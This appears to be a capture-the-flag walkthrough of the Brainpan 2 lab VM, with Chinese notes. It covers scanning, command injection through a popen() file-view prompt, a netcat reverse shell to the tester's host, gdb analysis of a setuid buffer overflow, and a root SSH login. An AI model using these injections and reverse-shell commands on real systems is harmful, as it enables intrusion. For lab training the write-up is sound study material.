root@kali:~# nmap -sn -v 192.168.56.0/24 Nmap scan report for 192.168.56.116 Host is up (0.00027s latency). MAC Address: 08:00:27:6D:B8:70 (Oracle VirtualBox virtual NIC)
1 2 3 4
root@kali:~# nmap -v -sV -Pn -p- 192.168.56.116 PORT STATE SERVICE VERSION 9999/tcp open abyss? 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
C:\Users\HASEE>nmap -v -sV -p 9999,10000 -A -T5 192.168.56.116 PORT STATE SERVICE VERSION 9999/tcp open abyss? | fingerprint-strings: | NULL: | _| _| | _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| | _|_| _| _| _| _| _| _| _| _| _| _| _| | _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| | [______________________ WELCOME TO BRAINPAN 2.0________________________] |_ LOGIN AS GUEST 10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3) |_http-server-header: SimpleHTTP/0.6 Python/2.7.3 |_http-title: Hacking Trends
[______________________ WELCOME TO BRAINPAN 2.0________________________] LOGIN AS GUEST
>> GUEST ACCESS GRANTED
* * * * THIS APPLICATION IS WORK IN PROGRESS. GUEST ACCESS IS RESTRICTED. TYPE "TELL ME MORE" FOR A LIST OF COMMANDS. * * * *
>> TELL ME MORE FILES HELP VIEW CREATE USERS MSG SYSTEM BYE
>> FILES total 36 -rwxr-xr-x 1 root root 18424 Nov 4 2013 brainpan.exe -rw-r--r-- 1 root root 1109 Nov 5 2013 brainpan.txt -rw-r--r-- 1 root root 683 Nov 4 2013 notes.txt -rw-r--r-- 1 anansi anansi 12 Nov 5 2013 test-1 -rwxrwxrwx 1 anansi anansi 19 Nov 5 2013 test-2 >> VIEW ENTER FILE TO DOWNLOAD: notes.txt TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc...
anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 >> VIEW ENTER FILE TO DOWNLOAD: /etc/passwd root:x:104:106:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh root :x:0:0:root:/var/root:/bin/bash list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin anansi:x:1000:1000:anansi,,,:/home/anansi:/bin/bash puck:x:1001:1001:puck,,,:/home/puck:/bin/bash reynard:x:1002:1002:reynard,,,:/home/reynard:/bin/bash
>> CREATE ENTER FILE TO CREATE: /home/anansi/lucifer11 ENTER CONTENTS: content\lucifer11testcontents FILE CREATED >> VIEW ENTER FILE TO DOWNLOAD: /home/anansi/lucifer11 content\lucifer11testcontents
AUTHENTICATION There is currently no proper authentication mechanism in place. At this time the software is in it's alpha stage. The only avaiable account is GUEST. The DEBUG account will alter the output of some commands - use\u2010 ful for developers.
The command argument is a pointer to a null-terminated string containing a shell command line. This command is passed to /bin/sh using the -c flag; interpretation, if any, is performed by the shell.
>> VIEW ENTER FILE TO DOWNLOAD: notes.txt; echo"some unexpected text lucifer11"; TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc...
anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 some unexpected text lucifer11
>> VIEW ENTER FILE TO DOWNLOAD: notes.txt; ifconfig; TODO LIST --------- reynard: - Completed manpage. Read with groff or man. - Renamed to brainpan.txt instead of brainpan.7. - Fixed call to read manpage: popen("man ./brainpan.txt", "r");
puck: Easiest way to display file contents is to just use popen(). Eg: popen("/bin/ls", "r"); popen("/bin/man ./brainpan.7", "r"); popen("/usr/bin/top", "r"); etc...
anansi: - Fixed a reported buffer overflow in login in version 1.0. - Discovered buffer overflow in the command prompt, fixed as of version 2.0
puck: look into loading a configuration file instead of hardcoding settings in the server, version 1.8 anansi: dropped configuration file - leave it hardcoded, version 1.9 eth0 Link encap:Ethernet HWaddr 08:00:27:6d:b8:70 inet addr:192.168.56.116 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe6d:b870/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:213 errors:0 dropped:0 overruns:0 frame:0 TX packets:152 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:20390 (19.9 KiB) TX bytes:19237 (18.7 KiB)
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
>> VIEW ENTER FILE TO DOWNLOAD: fuck; nc -e /bin/bash 192.168.56.102 6666
监听6666端口,成功的返回了shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@kali:~# nc -lvp 6666 listening on [any] 6666 ... 192.168.56.116: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.116] 53756 id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff) python -c 'import pty;pty.spawn("/bin/bash");' anansi@brainpan2:/opt/brainpan$ id id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff) anansi@brainpan2:/opt/brainpan$ whoami whoami anansi anansi@brainpan2:/opt/brainpan$
提权
1 2 3 4 5 6
anansi@brainpan2:/home/reynard$ ls ls msg_root readme.txt startweb.sh web anansi@brainpan2:/home/reynard$ ./msg_root ./msg_root usage: msg_root username message
anansi@brainpan2:/home/reynard$ gdb msg_root gdb msg_root GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty"for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/reynard/msg_root...done.
(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /home/reynard/msg_root aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) BT BT #0 0x61616161 in ?? () #1 0x0804872e in get_name (u=0xbffffe70 'a' <repeats 108 times>, m=0xbffffedd 'a' <repeats 87 times>) at msg_root.c:26 #2 0x0804877b in main (argc=3, argv=0xbffffd54) at msg_root.c:35 (gdb)
(gdb) b *0x08048729 b *0x08048729 Breakpoint 1 at 0x8048729: file msg_root.c, line 26. (gdb) r aaaaaaa b r aaaaaaa b The program being debugged has been started already. Start it from the beginning? (y or n) y y
Starting program: /home/reynard/msg_root aaaaaaa b
Breakpoint 1, 0x08048729 in get_name (u=0xbfffff2b "aaaaaaa", m=0xbfffff33 "b") at msg_root.c:26 26 in msg_root.c (gdb) i r ebp eax i r ebp eax ebp 0xbffffd58 0xbffffd58 eax 0xbffffd46 -1073742522 (gdb) x $ebp-4 x $ebp-4 0xbffffd54: 0x0804863c (gdb) x/12xw $esp x/12xw $esp 0xbffffd38: 0xbffffd46 0x0804a008 0x00000001 0x6161fe14 0xbffffd48: 0x61616161 0xbfff0061 0x0804a008 0x0804863c 0xbffffd58: 0xbffffd68 0x0804877b 0xbfffff2b 0xbfffff33
puck@brainpan2:/home/puck$ cd .backup cd .backup puck@brainpan2:/home/puck/.backup$ ls ls puck@brainpan2:/home/puck/.backup$ ls -la ls -la total 28 drwxr-xr-x 3 puck puck 4096 Nov 5 2013 . drwx------ 4 puck puck 4096 Nov 5 2013 .. -rw------- 1 puck puck 395 Nov 5 2013 .bash_history -rw-r--r-- 1 puck puck 220 Nov 4 2013 .bash_logout -rw-r--r-- 1 puck puck 3392 Nov 4 2013 .bashrc -rw-r--r-- 1 puck puck 675 Nov 4 2013 .profile drwx------ 2 puck puck 4096 Nov 4 2013 .ssh puck@brainpan2:/home/puck/.backup$ cat .bash_history cat .bash_history cd /usr/local/bin ls -l ./msg_root "comment on the latest version please" cd /opt/brainpan/ ps aux vi brainpan-1.8.c cd ../archive netstat -antp netstat -antp | grep 9888 cd .. ls cd old ls cd brainpan-1.8 vi brainpan-1.8.c ssh -l "root " brainpan2 vi brainpan.7 man ./brainpan.7 ls htop top ls -latr cat .bash_history ls mkdir .backup mv .ssh .bash* .backup cd .backup/ ls clear ls -latr exit puck@brainpan2:/home/puck/.backup$
puck@brainpan2:/home/puck$ cat /etc/ssh/sshd_config cat /etc/ssh/sshd_config # Package generated configuration file # See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for Port 2222 # Use these options to restrict which interfaces/protocols sshd will bind to #ListenAddress :: #ListenAddress 0.0.0.0 ListenAddress 127.0.1.1 Protocol 2 # HostKeys for protocol version 2 HostKey /etc/ssh/ssh_host_rsa_key HostKey /etc/ssh/ssh_host_dsa_key HostKey /etc/ssh/ssh_host_ecdsa_key #Privilege Separation is turned on for security UsePrivilegeSeparation yes
# Lifetime and size of ephemeral version 1 server key KeyRegenerationInterval 3600 ServerKeyBits 768
# Don't read the user's ~/.rhosts and ~/.shosts files IgnoreRhosts yes # For this to work you will also need host keys in /etc/ssh_known_hosts RhostsRSAAuthentication no # similar for protocol version 2 HostbasedAuthentication no # Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication #IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED) PermitEmptyPasswords no
# Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords #PasswordAuthentication yes
# Kerberos options #KerberosAuthentication no #KerberosGetAFSToken no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes
# GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes
X11Forwarding yes X11DisplayOffset 10 PrintMotd no PrintLastLog yes TCPKeepAlive yes #UseLogin no
#MaxStartups 10:30:60 #Banner /etc/issue.net
# Allow client to pass locale environment variables AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
# Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM yes
puck@brainpan2:/home/puck$ ssh -l "root " brainpan2 -p 2222 ssh -l "root " brainpan2 -p 2222 The authenticity of host '[brainpan2]:2222 ([127.0.1.1]:2222)' can't be established. ECDSA key fingerprint is 0a:15:1c:1c:25:b0:fe:54:8a:35:45:e5:b8:02:97:1a. Are you sure you want to continue connecting (yes/no)? yes yes Warning: Permanently added '[brainpan2]:2222' (ECDSA) to the list of known hosts. Linux brainpan2 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Nov 7 11:00:06 2013 root @brainpan2:~# id id uid=0(root ) gid=0(root ) groups=0(root ) root @brainpan2:~# whoami whoami root root @brainpan2:~# cd /root cd /root root @brainpan2:/root# ls ls flag.txt whatif.txt root @brainpan2:/root# cat flag.txt cat flag.txt !!! CONGRATULATIONS !!! You've completed the Brainpan 2 challenge! Or have you...?
Yes, you have! Pat yourself on the back. :-)
Questions, comments, suggestions for new VM challenges? Let me know!
Twitter: @superkojiman Email : contact@techorganic.com Web : http://www.techorganic.com
root @brainpan2:/root#
知识点总结
popen()执行多个命令获取shell
gdb调试寻找缓冲区溢出的地址
msfvenom生成shellcode配合ebp-8的地址0x0804a008进行缓冲区溢出提权
更换成ssh备份的私匙,连接具有root权限的ssh
.bash_history中的ssh连接历史中ssh密码泄露
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…